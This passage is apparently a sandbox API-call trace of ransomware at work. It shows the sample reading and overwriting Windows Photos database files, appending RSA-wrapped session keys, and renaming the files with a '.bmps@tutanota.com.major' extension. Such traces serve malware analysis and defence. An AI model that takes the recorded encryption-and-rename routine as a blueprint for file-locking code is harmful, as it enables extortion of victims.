"c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite-wal"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-wal.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite-wal.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0201.117] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b3b90 | out: hHeap=0x570000) returned 1 [0201.117] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee90d8 | out: hHeap=0x570000) returned 1 [0201.117] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661cd8 | out: hHeap=0x570000) returned 1 [0201.117] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x662fe0 | out: hHeap=0x570000) returned 1 [0201.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662330 [0201.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee9218 [0201.117] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.118] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-shm", dwFileAttributes=0x80) returned 1 [0201.119] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661dc0 [0201.119] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0201.119] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661dc0 | out: hHeap=0x570000) returned 1 [0201.119] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-shm" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite-shm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1190 [0201.120] GetFileSizeEx (in: hFile=0x1190, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=32768) returned 1 [0201.120] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8000) returned 0x2f2d010 [0201.120] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8000) returned 0x30fc010 [0201.120] ReadFile (in: hFile=0x1190, lpBuffer=0x2f2d010, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f2d010*, lpNumberOfBytesRead=0x2e3f9b4*=0x8000, lpOverlapped=0x0) returned 1 [0201.132] SetFilePointer (in: hFile=0x1190, lDistanceToMove=-32768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.132] WriteFile (in: hFile=0x1190, lpBuffer=0x30fc010*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x30fc010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8000, lpOverlapped=0x0) returned 1 [0201.132] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2d010 | out: hHeap=0x570000) returned 1 [0201.132] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x30fc010 | out: hHeap=0x570000) returned 1 [0201.132] SetFilePointer (in: hFile=0x1190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8000 [0201.132] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.132] WriteFile (in: hFile=0x1190, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.132] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.132] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.133] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.133] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.133] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="//hSKw8MnsYsg9FfEymPYbhXyS0j6F+t/k5K2FDquqYvHnqdtCtVLMmwJ66bysxp\n/wsBm7WSsfBc3W+GE0lgcMzOHwhx0Sc2JY2h0zKVMDQ5NhWjKelv1Kgf7hmH2/br\nVOFD+ZJtt20GbSDjb9ZiuWAWaUnQQei6HyF22S69a+slv6GanVl0Fk4N250om715\nHLguh2CJNkvNNAO9m4y5M96FkVVGTwcsCiUQ9JgECPw5NmRZAIx1ApTRxdWgWfUq\nR41j6ToyxBd+5dfH5d+si7FerFmWBNvKbkSWdr34nPaZ/ijZ99z9xqv2cgJfwOE+\nzt/fUYGxeWzF3518IaKXlg==\n", pcchString=0x2e3f9a8) returned 1 [0201.133] WriteFile (in: hFile=0x1190, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.133] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.133] WriteFile (in: hFile=0x1190, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.133] CloseHandle (hObject=0x1190) returned 1 [0201.133] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0201.133] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-shm" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite-shm"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-shm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite-shm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0201.135] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b3b90 | out: hHeap=0x570000) returned 1 [0201.135] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9218 | out: hHeap=0x570000) returned 1 [0201.135] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x662330 | out: hHeap=0x570000) returned 1 [0201.136] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661bf0 | out: hHeap=0x570000) returned 1 [0201.136] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x663550 [0201.136] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee92b8 [0201.136] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.136] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite", dwFileAttributes=0x80) returned 1 [0201.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6625e8 [0201.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0201.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6625e8 | out: hHeap=0x570000) returned 1 [0201.138] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1190 [0201.138] GetFileSizeEx (in: hFile=0x1190, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4096) returned 1 [0201.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1000) returned 0x319b100 [0201.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1000) returned 0x319a0f8 [0201.138] ReadFile (in: hFile=0x1190, lpBuffer=0x319b100, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x319b100*, lpNumberOfBytesRead=0x2e3f9b4*=0x1000, lpOverlapped=0x0) returned 1 [0201.148] SetFilePointer (in: hFile=0x1190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.148] WriteFile (in: hFile=0x1190, lpBuffer=0x319a0f8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x319a0f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1000, lpOverlapped=0x0) returned 1 [0201.148] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x319b100 | out: hHeap=0x570000) returned 1 [0201.148] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x319a0f8 | out: hHeap=0x570000) returned 1 [0201.148] SetFilePointer (in: hFile=0x1190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1000 [0201.148] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.148] WriteFile (in: hFile=0x1190, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.149] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.149] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.149] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.149] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.149] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="S35TkOXmCrxNTWcUMhXpr0ERHEIi9uJgjQSC+5ulS/4X2iRnrPqrXRRQCucOnYlh\n4/oyBvH1ijwGhpLcD0zgsCuE6kuqbdEjvLjdW4w1kL4QrgOV45dI8oSNAa+lGdb5\nAqS5fAslq+GUfjHsaB92kdwNGGiY/SS7EqxdFQvi3ZjKlBfmzGPULekdzAM60LWf\nE9WVXriT0mpx5gbVewMULv7yvenz08Z0b/7ahIzltR72CR2ftuxcl/W9eoyNIksh\nyS7yT9BEnTcswul8vmW/JkVOKKjRMgAMLS1UFmkHUWsCPFyZoHHUoNJfIZkD+R8R\nXrTSG/VBUEImTOJp2WWzCw==\n", pcchString=0x2e3f9a8) returned 1 [0201.149] WriteFile (in: hFile=0x1190, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.149] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.149] WriteFile (in: hFile=0x1190, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.149] CloseHandle (hObject=0x1190) returned 1 [0201.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0201.150] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0201.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b3b90 | out: hHeap=0x570000) returned 1 [0201.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee92b8 | out: hHeap=0x570000) returned 1 [0201.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x663550 | out: hHeap=0x570000) returned 1 [0201.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661b08 | out: hHeap=0x570000) returned 1 [0201.152] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee7c08 [0201.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee72a8 | out: hHeap=0x570000) returned 1 [0201.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664530 | out: hHeap=0x570000) returned 1 [0201.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66aed8 | out: hHeap=0x570000) returned 1 [0201.152] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fcdfb62, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0ee0b1c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x30f200f9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2ee50c8 [0201.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0201.152] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0201.152] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b458 [0201.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0201.152] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee79b0 [0201.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b458 | out: hHeap=0x570000) returned 1 [0201.152] GetLastError () returned 0x0 [0201.152] GetLastError () returned 0x0 [0201.152] GetLastError () returned 0x0 [0201.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0201.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee91c8 [0201.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2ee5648 [0201.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee5648 | out: hHeap=0x570000) returned 1 [0201.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40660 [0201.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40660 | out: hHeap=0x570000) returned 1 [0201.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee91c8 | out: hHeap=0x570000) returned 1 [0201.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0201.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee79b0 | out: hHeap=0x570000) returned 1 [0201.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0201.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aac8 [0201.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0201.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee72a8 [0201.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aac8 | out: hHeap=0x570000) returned 1 [0201.153] GetLastError () returned 0x0 [0201.153] GetLastError () returned 0x0 [0201.153] GetLastError () returned 0x0 [0201.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0201.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee93d0 [0201.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2ee5048 [0201.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee5048 | out: hHeap=0x570000) returned 1 [0201.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0201.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0201.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee93d0 | out: hHeap=0x570000) returned 1 [0201.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0201.154] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee72a8 | out: hHeap=0x570000) returned 1 [0201.154] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0201.154] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ae80 [0201.154] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0201.154] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8568 [0201.154] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0201.154] GetLastError () returned 0x0 [0201.154] GetLastError () returned 0x0 [0201.154] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8568 | out: hHeap=0x570000) returned 1 [0201.154] GetLastError () returned 0x0 [0201.154] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee90d8 | out: hHeap=0x570000) returned 1 [0201.154] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee7c08 | out: hHeap=0x570000) returned 1 [0201.154] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x667120 | out: hHeap=0x570000) returned 1 [0201.154] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66af50 | out: hHeap=0x570000) returned 1 [0201.154] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fd05db4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x712f2959, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x30f200f9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2ee54c8 [0201.154] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0201.154] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0201.154] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8a9b8 [0201.154] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0201.154] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee79b0 [0201.154] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0201.154] GetLastError () returned 0x12 [0201.155] GetLastError () returned 0x12 [0201.155] GetLastError () returned 0x12 [0201.155] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be688 | out: hHeap=0x570000) returned 1 [0201.155] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee9218 [0201.155] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2ee5248 [0201.155] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee5248 | out: hHeap=0x570000) returned 1 [0201.155] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40558 [0201.155] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40558 | out: hHeap=0x570000) returned 1 [0201.155] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9218 | out: hHeap=0x570000) returned 1 [0201.155] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0201.155] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee79b0 | out: hHeap=0x570000) returned 1 [0201.155] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0201.155] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af90 [0201.155] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0201.155] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee80b8 [0201.155] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0201.155] GetLastError () returned 0x12 [0201.155] GetLastError () returned 0x12 [0201.155] GetLastError () returned 0x12 [0201.155] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5becb8 | out: hHeap=0x570000) returned 1 [0201.155] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee9240 [0201.155] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2ee5648 [0201.155] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee5648 | out: hHeap=0x570000) returned 1 [0201.155] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0201.155] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0201.156] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9240 | out: hHeap=0x570000) returned 1 [0201.156] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0201.156] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee80b8 | out: hHeap=0x570000) returned 1 [0201.156] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0201.156] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b5f0 [0201.156] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0201.156] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee79b0 [0201.156] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b5f0 | out: hHeap=0x570000) returned 1 [0201.156] GetLastError () returned 0x12 [0201.156] GetLastError () returned 0x12 [0201.156] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee79b0 | out: hHeap=0x570000) returned 1 [0201.156] GetLastError () returned 0x12 [0201.156] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9178 | out: hHeap=0x570000) returned 1 [0201.156] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0201.156] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0201.156] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af90 [0201.156] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0201.156] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee79b0 [0201.156] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0201.156] GetLastError () returned 0x12 [0201.156] GetLastError () returned 0x12 [0201.156] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee79b0 | out: hHeap=0x570000) returned 1 [0201.156] GetLastError () returned 0x12 [0201.156] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee90d8 | out: hHeap=0x570000) returned 1 [0201.157] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x65e480 [0201.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0201.157] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0201.157] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b0a0 [0201.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0201.157] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee83d8 [0201.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b0a0 | out: hHeap=0x570000) returned 1 [0201.157] GetLastError () returned 0x12 [0201.157] GetLastError 